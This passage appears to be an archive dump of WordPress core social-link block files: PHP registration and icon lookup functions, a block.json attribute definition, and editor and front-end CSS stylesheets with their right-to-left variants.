  • '; } /** * Registers the `core/social-link` blocks. */ function register_block_core_social_link() { register_block_type_from_metadata( __DIR__ . '/social-link', array( 'render_callback' => 'render_block_core_social_link', ) ); } add_action( 'init', 'register_block_core_social_link' ); /** * Returns the SVG for social link. * * @param string $service The service icon. * * @return string SVG Element for service icon. */ function block_core_social_link_get_icon( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['icon'] ) ) { return $services[ $service ]['icon']; } return $services['share']['icon']; } /** * Returns the brand name for social link. * * @param string $service The service icon. * * @return string Brand label. */ function block_core_social_link_get_name( $service ) { $services = block_core_social_link_services(); if ( isset( $services[ $service ] ) && isset( $services[ $service ]['name'] ) ) { return $services[ $service ]['name']; } return $services['share']['name']; } /** * Returns the SVG for social link. * * @param string $service The service slug to extract data from. * @param string $field The field ('name', 'icon', etc) to extract for a service. * * @return array|string */ function block_core_social_link_services( $service = '', $field = '' ) { $services_data = array( 'fivehundredpx' => array( 'name' => '500px', 'icon' => '', ), 'amazon' => array( 'name' => 'Amazon', 'icon' => '', ), 'bandcamp' => array( 'name' => 'Bandcamp', 'icon' => '', ), 'behance' => array( 'name' => 'Behance', 'icon' => '', ), 'chain' => array( 'name' => 'Link', 'icon' => '', ), 'codepen' => array( 'name' => 'CodePen', 'icon' => '', ), 'deviantart' => array( 'name' => 'DeviantArt', 'icon' => '', ), 'dribbble' => array( 'name' => 'Dribbble', 'icon' => '', ), 'dropbox' => array( 'name' => 'Dropbox', 'icon' => '', ), 'etsy' => array( 'name' => 'Etsy', 'icon' => '', ), 'facebook' => array( 'name' => 'Facebook', 'icon' => '', ), 'feed' => array( 'name' => 'RSS Feed', 'icon' => '', ), 'flickr' => array( 'name' => 'Flickr', 'icon' => '', ), 'foursquare' => array( 'name' => 'Foursquare', 'icon' => '', ), 'goodreads' => array( 'name' => 'Goodreads', 'icon' => '', ), 'google' => array( 'name' => 'Google', 'icon' => '', ), 'github' => array( 'name' => 'GitHub', 'icon' => '', ), 'instagram' => array( 'name' => 'Instagram', 'icon' => '', ), 'lastfm' => array( 'name' => 'Last.fm', 'icon' => '', ), 'linkedin' => array( 'name' => 'LinkedIn', 'icon' => '', ), 'mail' => array( 'name' => 'Mail', 'icon' => '', ), 'mastodon' => array( 'name' => 'Mastodon', 'icon' => '', ), 'meetup' => array( 'name' => 'Meetup', 'icon' => '', ), 'medium' => array( 'name' => 'Medium', 'icon' => '', ), 'patreon' => array( 'name' => 'Patreon', 'icon' => '', ), 'pinterest' => array( 'name' => 'Pinterest', 'icon' => '', ), 'pocket' => array( 'name' => 'Pocket', 'icon' => '', ), 'reddit' => array( 'name' => 'Reddit', 'icon' => '', ), 'skype' => array( 'name' => 'Skype', 'icon' => '', ), 'snapchat' => array( 'name' => 'Snapchat', 'icon' => '', ), 'soundcloud' => array( 'name' => 'Soundcloud', 'icon' => '', ), 'spotify' => array( 'name' => 'Spotify', 'icon' => '', ), 'telegram' => array( 'name' => 'Telegram', 'icon' => '', ), 'tiktok' => array( 'name' => 'TikTok', 'icon' => '', ), 'tumblr' => array( 'name' => 'Tumblr', 'icon' => '
    ', ), 'twitch' => array( 'name' => 'Twitch', 'icon' => '', ), 'twitter' => array( 'name' => 'Twitter', 'icon' => '', ), 'vimeo' => array( 'name' => 'Vimeo', 'icon' => '', ), 'vk' => array( 'name' => 'VK', 'icon' => '', ), 'wordpress' => array( 'name' => 'WordPress', 'icon' => '', ), 'yelp' => array( 'name' => 'Yelp', 'icon' => '', ), 'youtube' => array( 'name' => 'YouTube', 'icon' => '', ), 'share' => array( 'name' => 'Share Icon', 'icon' => '', ), ); if ( ! empty( $service ) && ! empty( $field ) && isset( $services_data[ $service ] ) && ( 'icon' === $field || 'name' === $field ) ) { return $services_data[ $service ][ $field ]; } elseif ( ! empty( $service ) && isset( $services_data[ $service ] ) ) { return $services_data[ $service ]; } return $services_data; } /** * Returns CSS styles for icon and icon background colors. * * @param array $context Block context passed to Social Link. * * @return string Inline CSS styles for link's icon and background colors. */ function block_core_social_link_get_color_styles( $context ) { $styles = array(); if ( array_key_exists( 'iconColorValue', $context ) ) { $styles[] = 'color: ' . $context['iconColorValue'] . '; '; } if ( array_key_exists( 'iconBackgroundColorValue', $context ) ) { $styles[] = 'background-color: ' . $context['iconBackgroundColorValue'] . '; '; } return implode( '', $styles ); } blocks/social-links/block.json000064400000001476151202620300012375 0ustar00{ "apiVersion": 2, "name": "core/social-links", "category": "widgets", "attributes": { "iconColor": { "type": "string" }, "customIconColor": { "type": "string" }, "iconColorValue": { "type": "string" }, "iconBackgroundColor": { "type": "string" }, "customIconBackgroundColor": { "type": "string" }, "iconBackgroundColorValue": { "type": "string" }, "openInNewTab": { "type": "boolean", "default": false }, "size": { "type": "string" } }, "providesContext": { "openInNewTab": "openInNewTab", "iconColorValue": "iconColorValue", "iconBackgroundColorValue": "iconBackgroundColorValue" }, "supports": { "align": [ "left", "center", "right" ], "anchor": true }, "editorStyle": "wp-block-social-links-editor", "style": "wp-block-social-links" } blocks/social-links/editor.min.css000064400000003757151202620300013176 0ustar00.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-left:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper .wp-block-social-links{padding:0}.wp-block-social-links__social-placeholder{display:flex;list-style:none;opacity:.8}.wp-block-social-links__social-placeholder>.wp-social-link{margin-left:0!important;margin-right:0!important;padding-left:0!important;padding-right:0!important;visibility:hidden;width:0!important}.wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{display:flex}.wp-block-social-links__social-placeholder .wp-social-link{padding:.25em}.is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{padding-left:.66667em;padding-right:.66667em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{padding:0}.wp-block-social-links__social-placeholder .wp-social-link:before{border-radius:50%;content:"";display:block;height:1em;width:1em}.is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{background:currentColor}.wp-block-social-links .wp-block-social-links__social-prompt{cursor:default;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;line-height:24px;list-style:none;margin-bottom:auto;margin-top:auto;min-height:24px;order:2;padding-right:8px}.wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{justify-content:center}.block-editor-block-preview__content .components-button:disabled{opacity:1}.wp-social-link.wp-social-link__is-incomplete{opacity:.5}@media (prefers-reduced-motion:reduce){.wp-social-link.wp-social-link__is-incomplete{transition-delay:0s;transition-duration:0s}}.wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{opacity:1}blocks/social-links/style-rtl.min.css000064400000024002151202620300013631 0ustar00.wp-block-social-links{background:none;box-sizing:border-box;margin-right:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited{fill:currentColor;color:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{stroke:#000;background-color:#fefc00;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{stroke:#000;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}blocks/social-links/editor.css000064400000004266151202620300012410 0ustar00.wp-block-social-links div.block-editor-url-input{ display:inline-block; margin-left:8px; } .wp-block-social-links.wp-block-social-links{ background:none; } .wp-social-link:hover{ transform:none; } .editor-styles-wrapper .wp-block-social-links{ padding:0; } .wp-block-social-links__social-placeholder{ display:flex; list-style:none; opacity:.8; } .wp-block-social-links__social-placeholder>.wp-social-link{ margin-left:0 !important; margin-right:0 !important; padding-left:0 !important; padding-right:0 !important; visibility:hidden; width:0 !important; } .wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{ display:flex; } .wp-block-social-links__social-placeholder .wp-social-link{ padding:.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{ padding-left:.66667em; padding-right:.66667em; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{ padding:0; } .wp-block-social-links__social-placeholder .wp-social-link:before{ border-radius:50%; content:""; display:block; height:1em; width:1em; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{ background:currentColor; } .wp-block-social-links .wp-block-social-links__social-prompt{ cursor:default; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; line-height:24px; list-style:none; margin-bottom:auto; margin-top:auto; min-height:24px; order:2; padding-right:8px; } .wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{ justify-content:center; } .block-editor-block-preview__content .components-button:disabled{ opacity:1; } .wp-social-link.wp-social-link__is-incomplete{ opacity:.5; } @media (prefers-reduced-motion:reduce){ .wp-social-link.wp-social-link__is-incomplete{ transition-delay:0s; transition-duration:0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{ opacity:1; }blocks/social-links/style.min.css000064400000024001151202620300013031 0ustar00.wp-block-social-links{background:none;box-sizing:border-box;margin-left:0;padding-left:0;padding-right:0;text-indent:0}.wp-block-social-links .wp-social-link a,.wp-block-social-links .wp-social-link a:hover{border-bottom:0;box-shadow:none;text-decoration:none}.wp-block-social-links .wp-social-link a{padding:.25em}.wp-block-social-links .wp-social-link svg{height:1em;width:1em}.wp-block-social-links .wp-social-link span:not(.screen-reader-text){font-size:.65em;margin-left:.5em;margin-right:.5em}.wp-block-social-links.has-small-icon-size{font-size:16px}.wp-block-social-links,.wp-block-social-links.has-normal-icon-size{font-size:24px}.wp-block-social-links.has-large-icon-size{font-size:36px}.wp-block-social-links.has-huge-icon-size{font-size:48px}.wp-block-social-links.aligncenter{display:flex;justify-content:center}.wp-block-social-links.alignright{justify-content:flex-end}.wp-block-social-link{border-radius:9999px;display:block;height:auto;transition:transform .1s ease}@media (prefers-reduced-motion:reduce){.wp-block-social-link{transition-delay:0s;transition-duration:0s}}.wp-block-social-link a{align-items:center;display:flex;line-height:0;transition:transform .1s ease}.wp-block-social-link:hover{transform:scale(1.1)}.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor svg,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:active,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:hover,.wp-block-social-links .wp-block-social-link .wp-block-social-link-anchor:visited{fill:currentColor;color:currentColor}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link{background-color:#f0f0f0;color:#444}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-amazon{background-color:#f90;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-bandcamp{background-color:#1ea0c3;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-behance{background-color:#0757fe;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-codepen{background-color:#1e1f26;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-deviantart{background-color:#02e49b;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dribbble{background-color:#e94c89;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-dropbox{background-color:#4280ff;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-etsy{background-color:#f45800;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-facebook{background-color:#1778f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-fivehundredpx{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-flickr{background-color:#0461dd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-foursquare{background-color:#e65678;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-github{background-color:#24292d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-goodreads{background-color:#eceadd;color:#382110}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-google{background-color:#ea4434;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-instagram{background-color:#f00075;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-lastfm{background-color:#e21b24;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-linkedin{background-color:#0d66c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-mastodon{background-color:#3288d4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-medium{background-color:#02ab6c;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-meetup{background-color:#f6405f;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-patreon{background-color:#ff424d;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pinterest{background-color:#e60122;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-pocket{background-color:#ef4155;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-reddit{background-color:#ff4500;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-skype{background-color:#0478d7;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-snapchat{stroke:#000;background-color:#fefc00;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-soundcloud{background-color:#ff5600;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-spotify{background-color:#1bd760;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-telegram{background-color:#2aabee;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-threads,.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tiktok{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-tumblr{background-color:#011835;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitch{background-color:#6440a4;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-twitter{background-color:#1da1f2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vimeo{background-color:#1eb7ea;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-vk{background-color:#4680c2;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-wordpress{background-color:#3499cd;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-whatsapp{background-color:#25d366;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-x{background-color:#000;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-yelp{background-color:#d32422;color:#fff}.wp-block-social-links:not(.is-style-logos-only) .wp-social-link-youtube{background-color:red;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link{background:none}.wp-block-social-links.is-style-logos-only .wp-social-link a{padding:0}.wp-block-social-links.is-style-logos-only .wp-social-link svg{height:1.25em;width:1.25em}.wp-block-social-links.is-style-logos-only .wp-social-link-amazon{color:#f90}.wp-block-social-links.is-style-logos-only .wp-social-link-bandcamp{color:#1ea0c3}.wp-block-social-links.is-style-logos-only .wp-social-link-behance{color:#0757fe}.wp-block-social-links.is-style-logos-only .wp-social-link-codepen{color:#1e1f26}.wp-block-social-links.is-style-logos-only .wp-social-link-deviantart{color:#02e49b}.wp-block-social-links.is-style-logos-only .wp-social-link-dribbble{color:#e94c89}.wp-block-social-links.is-style-logos-only .wp-social-link-dropbox{color:#4280ff}.wp-block-social-links.is-style-logos-only .wp-social-link-etsy{color:#f45800}.wp-block-social-links.is-style-logos-only .wp-social-link-facebook{color:#1778f2}.wp-block-social-links.is-style-logos-only .wp-social-link-fivehundredpx{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-flickr{color:#0461dd}.wp-block-social-links.is-style-logos-only .wp-social-link-foursquare{color:#e65678}.wp-block-social-links.is-style-logos-only .wp-social-link-github{color:#24292d}.wp-block-social-links.is-style-logos-only .wp-social-link-goodreads{color:#382110}.wp-block-social-links.is-style-logos-only .wp-social-link-google{color:#ea4434}.wp-block-social-links.is-style-logos-only .wp-social-link-instagram{color:#f00075}.wp-block-social-links.is-style-logos-only .wp-social-link-lastfm{color:#e21b24}.wp-block-social-links.is-style-logos-only .wp-social-link-linkedin{color:#0d66c2}.wp-block-social-links.is-style-logos-only .wp-social-link-mastodon{color:#3288d4}.wp-block-social-links.is-style-logos-only .wp-social-link-medium{color:#02ab6c}.wp-block-social-links.is-style-logos-only .wp-social-link-meetup{color:#f6405f}.wp-block-social-links.is-style-logos-only .wp-social-link-patreon{color:#ff424d}.wp-block-social-links.is-style-logos-only .wp-social-link-pinterest{color:#e60122}.wp-block-social-links.is-style-logos-only .wp-social-link-pocket{color:#ef4155}.wp-block-social-links.is-style-logos-only .wp-social-link-reddit{color:#ff4500}.wp-block-social-links.is-style-logos-only .wp-social-link-skype{color:#0478d7}.wp-block-social-links.is-style-logos-only .wp-social-link-snapchat{stroke:#000;color:#fff}.wp-block-social-links.is-style-logos-only .wp-social-link-soundcloud{color:#ff5600}.wp-block-social-links.is-style-logos-only .wp-social-link-spotify{color:#1bd760}.wp-block-social-links.is-style-logos-only .wp-social-link-telegram{color:#2aabee}.wp-block-social-links.is-style-logos-only .wp-social-link-threads,.wp-block-social-links.is-style-logos-only .wp-social-link-tiktok{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-tumblr{color:#011835}.wp-block-social-links.is-style-logos-only .wp-social-link-twitch{color:#6440a4}.wp-block-social-links.is-style-logos-only .wp-social-link-twitter{color:#1da1f2}.wp-block-social-links.is-style-logos-only .wp-social-link-vimeo{color:#1eb7ea}.wp-block-social-links.is-style-logos-only .wp-social-link-vk{color:#4680c2}.wp-block-social-links.is-style-logos-only .wp-social-link-whatsapp{color:#25d366}.wp-block-social-links.is-style-logos-only .wp-social-link-wordpress{color:#3499cd}.wp-block-social-links.is-style-logos-only .wp-social-link-x{color:#000}.wp-block-social-links.is-style-logos-only .wp-social-link-yelp{color:#d32422}.wp-block-social-links.is-style-logos-only .wp-social-link-youtube{color:red}.wp-block-social-links.is-style-pill-shape .wp-social-link{width:auto}.wp-block-social-links.is-style-pill-shape .wp-social-link a{padding-left:.66667em;padding-right:.66667em}.wp-block-social-links:not(.has-icon-color):not(.has-icon-background-color) .wp-social-link-snapchat .wp-block-social-link-label{color:#000}blocks/social-links/editor-rtl.css000064400000004266151202620300013207 0ustar00.wp-block-social-links div.block-editor-url-input{ display:inline-block; margin-right:8px; } .wp-block-social-links.wp-block-social-links{ background:none; } .wp-social-link:hover{ transform:none; } .editor-styles-wrapper .wp-block-social-links{ padding:0; } .wp-block-social-links__social-placeholder{ display:flex; list-style:none; opacity:.8; } .wp-block-social-links__social-placeholder>.wp-social-link{ margin-left:0 !important; margin-right:0 !important; padding-left:0 !important; padding-right:0 !important; visibility:hidden; width:0 !important; } .wp-block-social-links__social-placeholder>.wp-block-social-links__social-placeholder-icons{ display:flex; } .wp-block-social-links__social-placeholder .wp-social-link{ padding:.25em; } .is-style-pill-shape .wp-block-social-links__social-placeholder .wp-social-link{ padding-left:.66667em; padding-right:.66667em; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link{ padding:0; } .wp-block-social-links__social-placeholder .wp-social-link:before{ border-radius:50%; content:""; display:block; height:1em; width:1em; } .is-style-logos-only .wp-block-social-links__social-placeholder .wp-social-link:before{ background:currentColor; } .wp-block-social-links .wp-block-social-links__social-prompt{ cursor:default; font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif; font-size:13px; line-height:24px; list-style:none; margin-bottom:auto; margin-top:auto; min-height:24px; order:2; padding-left:8px; } .wp-block.wp-block-social-links.aligncenter,.wp-block[data-align=center]>.wp-block-social-links{ justify-content:center; } .block-editor-block-preview__content .components-button:disabled{ opacity:1; } .wp-social-link.wp-social-link__is-incomplete{ opacity:.5; } @media (prefers-reduced-motion:reduce){ .wp-social-link.wp-social-link__is-incomplete{ transition-delay:0s; transition-duration:0s; } } .wp-block-social-links .is-selected .wp-social-link__is-incomplete,.wp-social-link.wp-social-link__is-incomplete:focus,.wp-social-link.wp-social-link__is-incomplete:hover{ opacity:1; }blocks/social-links/editor-rtl.min.css000064400000003757151202620300013775 0ustar00.wp-block-social-links div.block-editor-url-input{display:inline-block;margin-right:8px}.wp-block-social-links.wp-block-social-links{background:none}.wp-social-link:hover{transform:none}.editor-styles-wrapper 